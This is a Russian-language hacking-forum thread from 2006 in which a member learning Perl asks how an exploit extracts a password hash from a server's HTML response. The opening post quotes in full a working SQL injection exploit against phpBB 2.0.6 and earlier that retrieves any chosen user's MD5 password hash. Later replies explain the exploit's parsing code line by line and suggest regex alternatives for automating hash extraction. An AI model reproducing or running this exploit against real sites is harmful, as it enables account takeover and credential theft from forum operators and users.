Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

03.09.2006, 22:22
|
|
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме: 1347867
Репутация:
408
|
|
Сплоит
Помогите с написанием сплоита. Так сказать изучаю перл. Но проблемма в том что не могу написать сплоит чтоб он работал по человечески, типа запустил, он все сам сделал и дал тебе хеш. Просто получается что хеш выдается в код страничке при запросе который делает сплоит. И как же тогда достать именно хеш среди html? парсить страницу? Ну вобщем помогите хоть как нибудь. Буду очень признателен за хоть какой-нибудь пример.
Вот пример чужого сплоита:
Код:
#!/usr/bin/perl -w
use IO::Socket;
## PROOF-OF-CONCEPT
## * работает только с mysql v>4.0
## * работает только если на форуме не удалено самое первое сообщение
##
## Example:
## C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
## [~] prepare to connect...
## [+] connected
## [~] prepare to send data...
## [+] OK
## [~] wait for response...
## [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##
if (@ARGV < 4)
{
print "\n\n";
print "|****************************************************************|\n";
print " r57phpbb.pl\n";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected\n";
print "[~] prepare to send data...\n";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/* HTTP/1.0\r\n\r\n";
print "[+] OK\n";
print "[~] wait for response...\n";
while ($answer = <$socket>)
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
}
}
if ($success==0) {print "[-] exploit failed =(\n";}
## o---[ RusH security team | www.rsteam.ru | 2003 ]---o
Непонятны в нем именно такие строки:
Код:
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
----------------------------------
Короче сам вопрос - как оно находит сам хеш? =)
|
|
|

03.09.2006, 22:55
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Лучьше юзай регулярные выражения, ими почьти всё можно найти, пример:
Код:
while($text~=/[0-9A-F]{32}/gi){
print "$0\n";
}
Так можно найти все хэши, в тексте $text
----------
i - не учитывать гегистр
Последний раз редактировалось hidden; 03.09.2006 в 23:13..
Причина: Добавил
|
|
|

03.09.2006, 23:02
|
|
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме: 1347867
Репутация:
408
|
|
ага. спс . то есть я типа задаю range. ок. а линка на статейку нет?
|
|
|

03.09.2006, 23:05
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Линка не знаю, поищи, так и пиши "Регулярные выражения".
А вообще, посмотри эти, они очень похожи
http://www.php.net/manual/ru/reference.pcre.pattern.syntax.php
|
|
|

03.09.2006, 23:06
|
|
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме: 4520553
Репутация:
1316
|
|
$text~=/[0-9A-F]{32}/gi
так будет правильней
|
|
|

08.09.2006, 13:03
|
|
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме: 6144796
Репутация:
1095
|
|
Регулярные выражение это, конечно, очень удобно, но часто возникают ситуации, когда удобней использовать split, чтобы выцепить из переменной, содержащей ответ сервера определенные данные. Например, на днях я писал скрипт который вынимает мейлы из html-страниц, причем не все в подряд а расположенные в определенном месте. В таких ситуациях, когда знаешь формат текста из которого надо извлечь определенные данные, split очень удобен.
Чтоб стало ясно, прокоментирую непонятный topicstarter'у фрагмент:
Код:
if ($answer =~ /;highlight=/) #здесь переменная $answer проверяется на присутствие текста ";highlight=" в ней, и если он есть, то
{
$success = 1; #эксплуатация считается удавшейся
# не стал узнавать чо там возвращает эксплоит, пусть что-нить подобное:
# lala=tralala;highlight=&&D41D8CD98F00B204E9800998ECF8427E;lalalalala;lalala;etc
# из всего этого надо извлечь хеш
@result=split(/;/,$answer); #здесь мы делим значение $answer по символу ";" и заносим каждое из этих разделенных значений в массив @result. Теперь в элементе массива $result[1] содержится "highlight=&&D41D8CD98F00B204E9800998ECF8427E"
@result2=split(/=/,$result[1]); # теперь $result2[1]=&&D41D8CD98F00B204E9800998ECF8427E
$result2[1]=~s/&/ /g; # заменяем символы & на пробелы
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n"; # без комментариев...
В общем, тут все очень просто.
В случае с данным сплоитом, возможно, применить рег. выражения было бы разумней...
Последний раз редактировалось Digimortal; 08.09.2006 в 13:06..
|
|
|

08.09.2006, 20:04
|
|
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме: 1347867
Репутация:
408
|
|
Огромное спасибо Digimortal. Ты оч помог. Держи +
|
|
|

08.09.2006, 23:16
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме: 1948091
Репутация:
1686
|
|
что тут сложного сохрани ответ серва в переменную а потом по маске 32 символа подряд (я думаю их там мало тааких может встретиться) или нада позырить по ответу после чего идет хеш и выдрать его сплитом или выдрать его с помошью поиска даже или на крайняк субстрактом
вырезаем букавки
$stroka="syka pisia pyk"
$zz=substr($stroka,0,4) # 'syka'
$zz=substr($stroka,5,5) # 'pisia'
$zz=substr($stroka,-3) # 'pyk'
также мона и 32 символа выдрать--- ламерский вопрос помоему
|
|
|

09.09.2006, 01:04
|
|
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме: 1347867
Репутация:
408
|
|
Слышь ты, следи за базаром, кто ламер вобще. Никто не может знать все, и если я спрашиваю - я хочу узнать ответ а не почитать ту бредятину что ты написал. Оч интерестно как это субстрингом парcить страницу на наличие хеша. Не объяснишь? эт что то новенькое. И как это "по маске 32 символа подряд (я думаю их там мало тааких может встретиться)" ? ты вобще видел когда нить сурс html файла? там что пробелы между тэгами и текстом/хешем? Ну ну
Последний раз редактировалось LoFFi; 09.09.2006 в 12:23..
|
|
|

09.09.2006, 16:21
|
|
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме: 1985206
Репутация:
963
|
|
Сообщение от hidden
Лучьше юзай регулярные выражения, ими почьти всё можно найти, пример:
Код:
while($text~=/[0-9A-F]{32}/gi){
print "$0\n";
}
Так можно найти все хэши, в тексте $text
----------
i - не учитывать гегистр
$0 - спец. переменная в которой хранится название запускаемого скрипта. Тебе нужна $1 - спец. переменная в которой хранится первое совпадение в последнем сравнении. Также можно юзать $1..9
соответственно.
PS: про модификатор i уже сказали, а мод. g (global) - заставляет парсер искать все совпадения в данном тексте.
т.е.:
Код:
my @hashes=$html=~/[0-9A-F]{32}/ig; # ВСЁ что попадет под данную маску будет помещено в список hashes
Сообщение от k1b0rg
$text~=/[0-9A-F]{32}/gi
так будет правильней
C:\>perl -e "$text='test';if($text~=/test/) { print 'OK' }"
syntax error at -e line 1, near "$text~"
Execution of -e aborted due to compilation errors.
C:\>perl -e "$text='test';if($text=~/test/) { print 'OK' }"
OK
C:\>
Последний раз редактировалось KSURi; 09.09.2006 в 16:33..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|